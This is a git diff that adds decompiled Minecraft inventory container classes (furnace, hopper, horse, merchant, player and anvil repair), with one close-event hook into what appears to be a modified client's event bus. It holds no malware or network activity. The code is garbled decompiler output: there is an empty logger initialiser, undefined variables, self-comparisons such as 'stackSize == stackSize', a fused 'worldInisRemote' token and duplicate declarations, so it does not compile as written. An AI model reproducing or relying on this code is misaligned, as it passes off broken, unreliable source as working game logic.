diff --git a/src/minecraft/net/minecraft/inventory/ContainerFurnace.java b/src/minecraft/net/minecraft/inventory/ContainerFurnace.java
new file mode 100644
index 0000000..0a69b87
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerFurnace.java
@@ -0,0 +1,168 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.FurnaceRecipes;
+
+public class ContainerFurnace extends Container
+{
+  private final IInventory tileFurnace;
+  private int field_178152_f;
+  private int field_178153_g;
+  private int field_178154_h;
+  private int field_178155_i;
+  private static final String __OBFID = "CL_00001748";
+  
+  public ContainerFurnace(InventoryPlayer p_i45794_1_, IInventory p_i45794_2_)
+  {
+    tileFurnace = p_i45794_2_;
+    addSlotToContainer(new Slot(p_i45794_2_, 0, 56, 17));
+    addSlotToContainer(new SlotFurnaceFuel(p_i45794_2_, 1, 56, 53));
+    addSlotToContainer(new SlotFurnaceOutput(player, p_i45794_2_, 2, 116, 35));
+    
+
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      for (int var4 = 0; var4 < 9; var4++)
+      {
+        addSlotToContainer(new Slot(p_i45794_1_, var4 + var3 * 9 + 9, 8 + var4 * 18, 84 + var3 * 18));
+      }
+    }
+    
+    for (var3 = 0; var3 < 9; var3++)
+    {
+      addSlotToContainer(new Slot(p_i45794_1_, var3, 8 + var3 * 18, 142));
+    }
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+    p_75132_1_.func_175173_a(this, tileFurnace);
+  }
+  
+
+
+
+  public void detectAndSendChanges()
+  {
+    super.detectAndSendChanges();
+    
+    for (int var1 = 0; var1 < crafters.size(); var1++)
+    {
+      ICrafting var2 = (ICrafting)crafters.get(var1);
+      
+      if (field_178152_f != tileFurnace.getField(2))
+      {
+        var2.sendProgressBarUpdate(this, 2, tileFurnace.getField(2));
+      }
+      
+      if (field_178154_h != tileFurnace.getField(0))
+      {
+        var2.sendProgressBarUpdate(this, 0, tileFurnace.getField(0));
+      }
+      
+      if (field_178155_i != tileFurnace.getField(1))
+      {
+        var2.sendProgressBarUpdate(this, 1, tileFurnace.getField(1));
+      }
+      
+      if (field_178153_g != tileFurnace.getField(3))
+      {
+        var2.sendProgressBarUpdate(this, 3, tileFurnace.getField(3));
+      }
+    }
+    
+    field_178152_f = tileFurnace.getField(2);
+    field_178154_h = tileFurnace.getField(0);
+    field_178155_i = tileFurnace.getField(1);
+    field_178153_g = tileFurnace.getField(3);
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_)
+  {
+    tileFurnace.setField(p_75137_1_, p_75137_2_);
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return tileFurnace.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 2)
+      {
+        if (!mergeItemStack(var5, 3, 39, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((index != 1) && (index != 0))
+      {
+        if (FurnaceRecipes.instance().getSmeltingResult(var5) != null)
+        {
+          if (!mergeItemStack(var5, 0, 1, false))
+          {
+            return null;
+          }
+        }
+        else if (net.minecraft.tileentity.TileEntityFurnace.isItemFuel(var5))
+        {
+          if (!mergeItemStack(var5, 1, 2, false))
+          {
+            return null;
+          }
+        }
+        else if ((index >= 3) && (index < 30))
+        {
+          if (!mergeItemStack(var5, 30, 39, false))
+          {
+            return null;
+          }
+        }
+        else if ((index >= 30) && (index < 39) && (!mergeItemStack(var5, 3, 30, false)))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 3, 39, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerHopper.java b/src/minecraft/net/minecraft/inventory/ContainerHopper.java
new file mode 100644
index 0000000..c4c1cce
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerHopper.java
@@ -0,0 +1,89 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+
+public class ContainerHopper extends Container
+{
+  private final IInventory field_94538_a;
+  private static final String __OBFID = "CL_00001750";
+  
+  public ContainerHopper(InventoryPlayer p_i45792_1_, IInventory p_i45792_2_, EntityPlayer p_i45792_3_)
+  {
+    field_94538_a = p_i45792_2_;
+    p_i45792_2_.openInventory(p_i45792_3_);
+    byte var4 = 51;
+    
+
+    for (int var5 = 0; var5 < p_i45792_2_.getSizeInventory(); var5++)
+    {
+      addSlotToContainer(new Slot(p_i45792_2_, var5, 44 + var5 * 18, 20));
+    }
+    
+    for (var5 = 0; var5 < 3; var5++)
+    {
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        addSlotToContainer(new Slot(p_i45792_1_, var6 + var5 * 9 + 9, 8 + var6 * 18, var5 * 18 + var4));
+      }
+    }
+    
+    for (var5 = 0; var5 < 9; var5++)
+    {
+      addSlotToContainer(new Slot(p_i45792_1_, var5, 8 + var5 * 18, 58 + var4));
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return field_94538_a.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index < field_94538_a.getSizeInventory())
+      {
+        if (!mergeItemStack(var5, field_94538_a.getSizeInventory(), inventorySlots.size(), true))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 0, field_94538_a.getSizeInventory(), false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    field_94538_a.closeInventory(p_75134_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerHorseInventory.java b/src/minecraft/net/minecraft/inventory/ContainerHorseInventory.java
new file mode 100644
index 0000000..c1e8710
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerHorseInventory.java
@@ -0,0 +1,134 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+public class ContainerHorseInventory extends Container
+{
+  private IInventory field_111243_a;
+  private EntityHorse theHorse;
+  private static final String __OBFID = "CL_00001751";
+  
+  public ContainerHorseInventory(IInventory p_i45791_1_, IInventory p_i45791_2_, final EntityHorse p_i45791_3_, EntityPlayer p_i45791_4_)
+  {
+    field_111243_a = p_i45791_2_;
+    theHorse = p_i45791_3_;
+    byte var5 = 3;
+    p_i45791_2_.openInventory(p_i45791_4_);
+    int var6 = (var5 - 4) * 18;
+    addSlotToContainer(new Slot(p_i45791_2_, 0, 8, 18)
+    {
+      private static final String __OBFID = "CL_00001752";
+      
+      public boolean isItemValid(ItemStack stack) {
+        return (super.isItemValid(stack)) && (stack.getItem() == net.minecraft.init.Items.saddle) && (!getHasStack());
+      }
+    });
+    addSlotToContainer(new Slot(p_i45791_2_, 1, 8, 36)
+    {
+      private static final String __OBFID = "CL_00001753";
+      
+      public boolean isItemValid(ItemStack stack) {
+        return (super.isItemValid(stack)) && (p_i45791_3_.canWearArmor()) && (EntityHorse.func_146085_a(stack.getItem()));
+      }
+      
+      public boolean canBeHovered() {
+        return p_i45791_3_.canWearArmor();
+      }
+    });
+    
+
+
+    if (p_i45791_3_.isChested())
+    {
+      for (int var7 = 0; var7 < var5; var7++)
+      {
+        for (int var8 = 0; var8 < 5; var8++)
+        {
+          addSlotToContainer(new Slot(p_i45791_2_, 2 + var8 + var7 * 5, 80 + var8 * 18, 18 + var7 * 18));
+        }
+      }
+    }
+    
+    for (int var7 = 0; var7 < 3; var7++)
+    {
+      for (int var8 = 0; var8 < 9; var8++)
+      {
+        addSlotToContainer(new Slot(p_i45791_1_, var8 + var7 * 9 + 9, 8 + var8 * 18, 102 + var7 * 18 + var6));
+      }
+    }
+    
+    for (var7 = 0; var7 < 9; var7++)
+    {
+      addSlotToContainer(new Slot(p_i45791_1_, var7, 8 + var7 * 18, 160 + var6));
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return (field_111243_a.isUseableByPlayer(playerIn)) && (theHorse.isEntityAlive()) && (theHorse.getDistanceToEntity(playerIn) < 8.0F);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index < field_111243_a.getSizeInventory())
+      {
+        if (!mergeItemStack(var5, field_111243_a.getSizeInventory(), inventorySlots.size(), true))
+        {
+          return null;
+        }
+      }
+      else if ((getSlot(1).isItemValid(var5)) && (!getSlot(1).getHasStack()))
+      {
+        if (!mergeItemStack(var5, 1, 2, false))
+        {
+          return null;
+        }
+      }
+      else if (getSlot(0).isItemValid(var5))
+      {
+        if (!mergeItemStack(var5, 0, 1, false))
+        {
+          return null;
+        }
+      }
+      else if ((field_111243_a.getSizeInventory() <= 2) || (!mergeItemStack(var5, 2, field_111243_a.getSizeInventory(), false)))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    field_111243_a.closeInventory(p_75134_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerMerchant.java b/src/minecraft/net/minecraft/inventory/ContainerMerchant.java
new file mode 100644
index 0000000..9ba2192
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerMerchant.java
@@ -0,0 +1,169 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+
+public class ContainerMerchant
+  extends Container
+{
+  private IMerchant theMerchant;
+  private InventoryMerchant merchantInventory;
+  private final World theWorld;
+  private static final String __OBFID = "CL_00001757";
+  
+  public ContainerMerchant(InventoryPlayer p_i1821_1_, IMerchant p_i1821_2_, World worldIn)
+  {
+    theMerchant = p_i1821_2_;
+    theWorld = worldIn;
+    merchantInventory = new InventoryMerchant(player, p_i1821_2_);
+    addSlotToContainer(new Slot(merchantInventory, 0, 36, 53));
+    addSlotToContainer(new Slot(merchantInventory, 1, 62, 53));
+    addSlotToContainer(new SlotMerchantResult(player, p_i1821_2_, merchantInventory, 2, 120, 53));
+    
+
+    for (int var4 = 0; var4 < 3; var4++)
+    {
+      for (int var5 = 0; var5 < 9; var5++)
+      {
+        addSlotToContainer(new Slot(p_i1821_1_, var5 + var4 * 9 + 9, 8 + var5 * 18, 84 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 9; var4++)
+    {
+      addSlotToContainer(new Slot(p_i1821_1_, var4, 8 + var4 * 18, 142));
+    }
+  }
+  
+  public InventoryMerchant getMerchantInventory()
+  {
+    return merchantInventory;
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+  }
+  
+
+
+
+  public void detectAndSendChanges()
+  {
+    super.detectAndSendChanges();
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    merchantInventory.resetRecipeAndSlots();
+    super.onCraftMatrixChanged(p_75130_1_);
+  }
+  
+  public void setCurrentRecipeIndex(int p_75175_1_)
+  {
+    merchantInventory.setCurrentRecipeIndex(p_75175_1_);
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_) {}
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return theMerchant.getCustomer() == playerIn;
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 2)
+      {
+        if (!mergeItemStack(var5, 3, 39, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((index != 0) && (index != 1))
+      {
+        if ((index >= 3) && (index < 30))
+        {
+          if (!mergeItemStack(var5, 30, 39, false))
+          {
+            return null;
+          }
+        }
+        else if ((index >= 30) && (index < 39) && (!mergeItemStack(var5, 3, 30, false)))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 3, 39, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    theMerchant.setCustomer(null);
+    super.onContainerClosed(p_75134_1_);
+    
+    if (!theWorld.isRemote)
+    {
+      ItemStack var2 = merchantInventory.getStackInSlotOnClosing(0);
+      
+      if (var2 != null)
+      {
+        p_75134_1_.dropPlayerItemWithRandomChoice(var2, false);
+      }
+      
+      var2 = merchantInventory.getStackInSlotOnClosing(1);
+      
+      if (var2 != null)
+      {
+        p_75134_1_.dropPlayerItemWithRandomChoice(var2, false);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerPlayer.java b/src/minecraft/net/minecraft/inventory/ContainerPlayer.java
new file mode 100644
index 0000000..ce08b72
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerPlayer.java
@@ -0,0 +1,207 @@
+package net.minecraft.inventory;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.misc.EventInventory;
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.CraftingManager;
+
+
+
+
+public class ContainerPlayer
+  extends Container
+{
+  public InventoryCrafting craftMatrix = new InventoryCrafting(this, 2, 2);
+  public IInventory craftResult = new InventoryCraftResult();
+  
+  public boolean isLocalWorld;
+  
+  private final EntityPlayer thePlayer;
+  private static final String __OBFID = "CL_00001754";
+  
+  public ContainerPlayer(InventoryPlayer p_i1819_1_, boolean p_i1819_2_, EntityPlayer p_i1819_3_)
+  {
+    isLocalWorld = p_i1819_2_;
+    thePlayer = p_i1819_3_;
+    addSlotToContainer(new SlotCrafting(player, craftMatrix, craftResult, 0, 144, 36));
+    
+
+
+    for (int var4 = 0; var4 < 2; var4++)
+    {
+      for (int var5 = 0; var5 < 2; var5++)
+      {
+        addSlotToContainer(new Slot(craftMatrix, var5 + var4 * 2, 88 + var5 * 18, 26 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 4; var4++)
+    {
+      final int var44 = var4;
+      addSlotToContainer(new Slot(p_i1819_1_, p_i1819_1_.getSizeInventory() - 1 - var4, 8, 8 + var4 * 18)
+      {
+        private static final String __OBFID = "CL_00001755";
+        
+        public int getSlotStackLimit() {
+          return 1;
+        }
+        
+        public boolean isItemValid(ItemStack stack) {
+          return stack != null;
+        }
+        
+        public String func_178171_c() {
+          return ItemArmor.EMPTY_SLOT_NAMES[var44];
+        }
+      });
+    }
+    
+    for (var4 = 0; var4 < 3; var4++)
+    {
+      for (int var5 = 0; var5 < 9; var5++)
+      {
+        addSlotToContainer(new Slot(p_i1819_1_, var5 + (var4 + 1) * 9, 8 + var5 * 18, 84 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 9; var4++)
+    {
+      addSlotToContainer(new Slot(p_i1819_1_, var4, 8 + var4 * 18, 142));
+    }
+    
+    onCraftMatrixChanged(craftMatrix);
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    craftResult.setInventorySlotContents(0, CraftingManager.getInstance().findMatchingRecipe(craftMatrix, thePlayer.worldObj));
+  }
+  
+
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    EventInventory event = new EventInventory(p_75134_1_);
+    EventBus.getInstance().call(event);
+    if (event.isCancelled()) {
+      return;
+    }
+    
+    super.onContainerClosed(p_75134_1_);
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      ItemStack var3 = craftMatrix.getStackInSlotOnClosing(var2);
+      
+      if (var3 != null)
+      {
+        p_75134_1_.dropPlayerItemWithRandomChoice(var3, false);
+      }
+    }
+    
+    craftResult.setInventorySlotContents(0, null);
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return true;
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 0)
+      {
+        if (!mergeItemStack(var5, 9, 45, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((index >= 1) && (index < 5))
+      {
+        if (!mergeItemStack(var5, 9, 45, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 5) && (index < 9))
+      {
+        if (!mergeItemStack(var5, 9, 45, false))
+        {
+          return null;
+        }
+      }
+      else if (((var3.getItem() instanceof ItemArmor)) && (!((Slot)inventorySlots.get(5 + getItemarmorType)).getHasStack()))
+      {
+        int var6 = 5 + getItemarmorType;
+        
+        if (!mergeItemStack(var5, var6, var6 + 1, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 9) && (index < 36))
+      {
+        if (!mergeItemStack(var5, 36, 45, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 36) && (index < 45))
+      {
+        if (!mergeItemStack(var5, 9, 36, false))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 9, 45, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+  public boolean func_94530_a(ItemStack p_94530_1_, Slot p_94530_2_)
+  {
+    return (inventory != craftResult) && (super.func_94530_a(p_94530_1_, p_94530_2_));
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerRepair.java b/src/minecraft/net/minecraft/inventory/ContainerRepair.java
new file mode 100644
index 0000000..a987877
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerRepair.java
@@ -0,0 +1,513 @@
+package net.minecraft.inventory;
+
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.block.BlockAnvil;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import org.apache.commons.lang3.StringUtils;
+
+public class ContainerRepair extends Container
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  
+
+  private IInventory outputSlot;
+  
+
+  private IInventory inputSlots;
+  
+  private World theWorld;
+  
+  private BlockPos field_178156_j;
+  
+  public int maximumCost;
+  
+  private int materialCost;
+  
+  private String repairedItemName;
+  
+  private final EntityPlayer thePlayer;
+  
+  private static final String __OBFID = "CL_00001732";
+  
+
+  public ContainerRepair(InventoryPlayer p_i45806_1_, World worldIn, EntityPlayer p_i45806_3_)
+  {
+    this(p_i45806_1_, worldIn, BlockPos.ORIGIN, p_i45806_3_);
+  }
+  
+  public ContainerRepair(InventoryPlayer p_i45807_1_, final World worldIn, final BlockPos p_i45807_3_, EntityPlayer p_i45807_4_)
+  {
+    outputSlot = new InventoryCraftResult();
+    inputSlots = new InventoryBasic("Repair", true, 2)
+    {
+      private static final String __OBFID = "CL_00001733";
+      
+      public void markDirty() {
+        super.markDirty();
+        onCraftMatrixChanged(this);
+      }
+    };
+    field_178156_j = p_i45807_3_;
+    theWorld = worldIn;
+    thePlayer = p_i45807_4_;
+    addSlotToContainer(new Slot(inputSlots, 0, 27, 47));
+    addSlotToContainer(new Slot(inputSlots, 1, 76, 47));
+    addSlotToContainer(new Slot(outputSlot, 2, 134, 47)
+    {
+      private static final String __OBFID = "CL_00001734";
+      
+      public boolean isItemValid(ItemStack stack) {
+        return false;
+      }
+      
+      public boolean canTakeStack(EntityPlayer p_82869_1_) {
+        return ((capabilities.isCreativeMode) || (experienceLevel >= maximumCost)) && (maximumCost > 0) && (getHasStack());
+      }
+      
+      public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack) {
+        if (!capabilities.isCreativeMode)
+        {
+          playerIn.addExperienceLevel(-maximumCost);
+        }
+        
+        inputSlots.setInventorySlotContents(0, null);
+        
+        if (materialCost > 0)
+        {
+          ItemStack var3 = inputSlots.getStackInSlot(1);
+          
+          if ((var3 != null) && (stackSize > materialCost))
+          {
+            stackSize -= materialCost;
+            inputSlots.setInventorySlotContents(1, var3);
+          }
+          else
+          {
+            inputSlots.setInventorySlotContents(1, null);
+          }
+        }
+        else
+        {
+          inputSlots.setInventorySlotContents(1, null);
+        }
+        
+        maximumCost = 0;
+        IBlockState var5 = worldIn.getBlockState(p_i45807_3_);
+        
+        if ((!capabilities.isCreativeMode) && (!worldInisRemote) && (var5.getBlock() == Blocks.anvil) && (playerIn.getRNG().nextFloat() < 0.12F))
+        {
+          int var4 = ((Integer)var5.getValue(BlockAnvil.DAMAGE)).intValue();
+          var4++;
+          
+          if (var4 > 2)
+          {
+            worldIn.setBlockToAir(p_i45807_3_);
+            worldIn.playAuxSFX(1020, p_i45807_3_, 0);
+          }
+          else
+          {
+            worldIn.setBlockState(p_i45807_3_, var5.withProperty(BlockAnvil.DAMAGE, Integer.valueOf(var4)), 2);
+            worldIn.playAuxSFX(1021, p_i45807_3_, 0);
+          }
+        }
+        else if (!worldInisRemote)
+        {
+          worldIn.playAuxSFX(1021, p_i45807_3_, 0);
+        }
+      }
+    });
+    
+
+    for (int var5 = 0; var5 < 3; var5++)
+    {
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        addSlotToContainer(new Slot(p_i45807_1_, var6 + var5 * 9 + 9, 8 + var6 * 18, 84 + var5 * 18));
+      }
+    }
+    
+    for (var5 = 0; var5 < 9; var5++)
+    {
+      addSlotToContainer(new Slot(p_i45807_1_, var5, 8 + var5 * 18, 142));
+    }
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    super.onCraftMatrixChanged(p_75130_1_);
+    
+    if (p_75130_1_ == inputSlots)
+    {
+      updateRepairOutput();
+    }
+  }
+  
+
+
+
+  public void updateRepairOutput()
+  {
+    boolean var1 = false;
+    boolean var2 = true;
+    boolean var3 = true;
+    boolean var4 = true;
+    boolean var5 = true;
+    boolean var6 = true;
+    boolean var7 = true;
+    ItemStack var8 = inputSlots.getStackInSlot(0);
+    maximumCost = 1;
+    int var9 = 0;
+    byte var10 = 0;
+    byte var11 = 0;
+    
+    if (var8 == null)
+    {
+      outputSlot.setInventorySlotContents(0, null);
+      maximumCost = 0;
+    }
+    else
+    {
+      ItemStack var12 = var8.copy();
+      ItemStack var13 = inputSlots.getStackInSlot(1);
+      Map var14 = EnchantmentHelper.getEnchantments(var12);
+      boolean var15 = false;
+      int var25 = var10 + var8.getRepairCost() + (var13 == null ? 0 : var13.getRepairCost());
+      materialCost = 0;
+      
+
+      if (var13 != null)
+      {
+        var15 = (var13.getItem() == Items.enchanted_book) && (Items.enchanted_book.func_92110_g(var13).tagCount() > 0);
+        
+
+
+        if ((var12.isItemStackDamageable()) && (var12.getItem().getIsRepairable(var8, var13)))
+        {
+          int var16 = Math.min(var12.getItemDamage(), var12.getMaxDamage() / 4);
+          
+          if (var16 <= 0)
+          {
+            outputSlot.setInventorySlotContents(0, null);
+            maximumCost = 0;
+            return;
+          }
+          
+          for (int var17 = 0; (var16 > 0) && (var17 < stackSize); var17++)
+          {
+            int var18 = var12.getItemDamage() - var16;
+            var12.setItemDamage(var18);
+            var9++;
+            var16 = Math.min(var12.getItemDamage(), var12.getMaxDamage() / 4);
+          }
+          
+          materialCost = var17;
+        }
+        else
+        {
+          if ((!var15) && ((var12.getItem() != var13.getItem()) || (!var12.isItemStackDamageable())))
+          {
+            outputSlot.setInventorySlotContents(0, null);
+            maximumCost = 0;
+            return;
+          }
+          
+
+
+          if ((var12.isItemStackDamageable()) && (!var15))
+          {
+            int var16 = var8.getMaxDamage() - var8.getItemDamage();
+            int var17 = var13.getMaxDamage() - var13.getItemDamage();
+            int var18 = var17 + var12.getMaxDamage() * 12 / 100;
+            int var19 = var16 + var18;
+            int var20 = var12.getMaxDamage() - var19;
+            
+            if (var20 < 0)
+            {
+              var20 = 0;
+            }
+            
+            if (var20 < var12.getMetadata())
+            {
+              var12.setItemDamage(var20);
+              var9 += 2;
+            }
+          }
+          
+          Map var26 = EnchantmentHelper.getEnchantments(var13);
+          Iterator var27 = var26.keySet().iterator();
+          
+          while (var27.hasNext())
+          {
+            int var18 = ((Integer)var27.next()).intValue();
+            Enchantment var28 = Enchantment.func_180306_c(var18);
+            
+            if (var28 != null)
+            {
+              int var20 = var14.containsKey(Integer.valueOf(var18)) ? ((Integer)var14.get(Integer.valueOf(var18))).intValue() : 0;
+              int var21 = ((Integer)var26.get(Integer.valueOf(var18))).intValue();
+              int var10000;
+              int var10000;
+              if (var20 == var21)
+              {
+                var21++;
+                var10000 = var21;
+              }
+              else
+              {
+                var10000 = Math.max(var21, var20);
+              }
+              
+              var21 = var10000;
+              boolean var22 = var28.canApply(var8);
+              
+              if ((thePlayer.capabilities.isCreativeMode) || (var8.getItem() == Items.enchanted_book))
+              {
+                var22 = true;
+              }
+              
+              Iterator var23 = var14.keySet().iterator();
+              
+              while (var23.hasNext())
+              {
+                int var24 = ((Integer)var23.next()).intValue();
+                
+                if ((var24 != var18) && (!var28.canApplyTogether(Enchantment.func_180306_c(var24))))
+                {
+                  var22 = false;
+                  var9++;
+                }
+              }
+              
+              if (var22)
+              {
+                if (var21 > var28.getMaxLevel())
+                {
+                  var21 = var28.getMaxLevel();
+                }
+                
+                var14.put(Integer.valueOf(var18), Integer.valueOf(var21));
+                int var29 = 0;
+                
+                switch (var28.getWeight())
+                {
+                case 1: 
+                  var29 = 8;
+                  break;
+                
+                case 2: 
+                  var29 = 4;
+                
+                case 3: 
+                case 4: 
+                case 6: 
+                case 7: 
+                case 8: 
+                case 9: 
+                default: 
+                  break;
+                
+                case 5: 
+                  var29 = 2;
+                  break;
+                
+                case 10: 
+                  var29 = 1;
+                }
+                
+                if (var15)
+                {
+                  var29 = Math.max(1, var29 / 2);
+                }
+                
+                var9 += var29 * var21;
+              }
+            }
+          }
+        }
+      }
+      
+      if (StringUtils.isBlank(repairedItemName))
+      {
+        if (var8.hasDisplayName())
+        {
+          var11 = 1;
+          var9 += var11;
+          var12.clearCustomName();
+        }
+      }
+      else if (!repairedItemName.equals(var8.getDisplayName()))
+      {
+        var11 = 1;
+        var9 += var11;
+        var12.setStackDisplayName(repairedItemName);
+      }
+      
+      maximumCost = (var25 + var9);
+      
+      if (var9 <= 0)
+      {
+        var12 = null;
+      }
+      
+      if ((var11 == var9) && (var11 > 0) && (maximumCost >= 40))
+      {
+        maximumCost = 39;
+      }
+      
+      if ((maximumCost >= 40) && (!thePlayer.capabilities.isCreativeMode))
+      {
+        var12 = null;
+      }
+      
+      if (var12 != null)
+      {
+        int var16 = var12.getRepairCost();
+        
+        if ((var13 != null) && (var16 < var13.getRepairCost()))
+        {
+          var16 = var13.getRepairCost();
+        }
+        
+        var16 = var16 * 2 + 1;
+        var12.setRepairCost(var16);
+        EnchantmentHelper.setEnchantments(var14, var12);
+      }
+      
+      outputSlot.setInventorySlotContents(0, var12);
